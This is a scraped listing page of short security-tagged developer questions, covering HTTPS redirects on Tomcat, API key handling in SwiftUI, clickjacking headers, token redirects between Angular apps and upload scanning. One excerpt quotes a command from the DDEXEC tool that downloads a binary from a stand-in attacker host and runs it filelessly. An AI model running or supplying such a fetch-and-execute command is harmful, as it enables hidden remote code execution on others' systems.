October 21, 2024
Chicago 12, Melborne City, USA

security

Topics relating to application security and attacks against software. Please don’t use this tag alone, that results in ambiguity. If your question is not about

security

How to resolve insecure HTTP usage?

My server is Tomcat, and I have configured the certificate and HSTS. My HTTPS port is 8443. I want to access the browser via http://domain:8443 and eventually redirect to https://domain:8443. However, when I actually try to access it, the browser returns a ‘Bad Request: This combination of host and port requires TLS.’ error. How can

Read More
security

Verify url with pgp image

I don´t really understand the tech behind that. I don´t understand how the image is not changed by the ones who want to steal from you but the rest of the pgp signature match the phising site. How it works? I tried looking for some info on reddit but the subs are so funny, run

Read More
security

How to use the security tool DDEXEC

I found a great security tool that hides tools. The official github repository gives a few examples like ‘base64 -w0 /bin/ls | bash ddexec.sh ls -lA’ and ‘wget -O- https:/ /attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar’ But I don’t understand the arguments “ls -lA” in these examples and the ‘argv0 foo

Read More
security

Api http security breach detection and alerting

I am little bit curious if there is some standard way how to handle http requests when only https request are allowed to be processed upon REST API. I found out that the partners has been in production sometimes calling our API via http and provided sensitive info (JWT, some ID and even password) via

Read More
security

Is it possible to use the cisco webdialer service without sending the password in the soap message?

I am implementing webdialer in an java web app, according to cisco either you send a sso token or you send the user+pass in the soap message, i can’t implement sso, and for user+pass every , the problem is that every time the user is going to make a call in the call screen he

Read More
security

Securely using API Keys in SwiftUI iOS

Hello I’m trying to not save my API keys in my SwiftUI code and instead get these codes from my backend server for security from hacking. The class and code below for APIKeyHandler successfully pulls the two API keys from the backend server and prints them to screen. However when I try to access IS_API

Read More
security

Windows service Unable to Start exe with admin privileges

Problem Overview: I have developed a Windows executable that requires administrative privileges to modify the system registry (e.g., disabling USB ports, CD-ROM drives, and network access). To ensure these changes are applied immediately after boot, I created a Windows service to start this executable at system startup. Details: Executable Requirements: Must run with administrative privileges

Read More
security

Redirecting with Token Authentication Between Angular Apps: Pros and Cons?

I’m working on an Angular application (Site A) that implements a login system. After users log in, I want to redirect them to another Angular application (Site B) while passing along the authentication token generated by Site A. The goal is to allow Site B to recognize the user as logged in without requiring them

Read More
security

The Anti-Clickjacking X-Frame-Options Header Is Not Present

Is There A Way To Add an Anti-Click Jacking Header In Shopify ? If There Is I Need Help As The Site Is Being Warned For The Same Saying That There Is No Anti-Click Jacking Header File Present In Store By Default. NEED HELP !!! Internet Gives Suggestions For React Code And Our Tech Stack

Read More
security

In Angular 17, In upload file functionality. Can we check if there are some unwanted objects in the uploaded file? (.exe files might be)

I have an upload file functionality in my screen, where the user can upload files that can be pdf file, excel file, etc. To keep a check on security vulnerability that can be caused to my system. I want to check if there are some malicious objects in the uploaded file, I won’t take that

Read More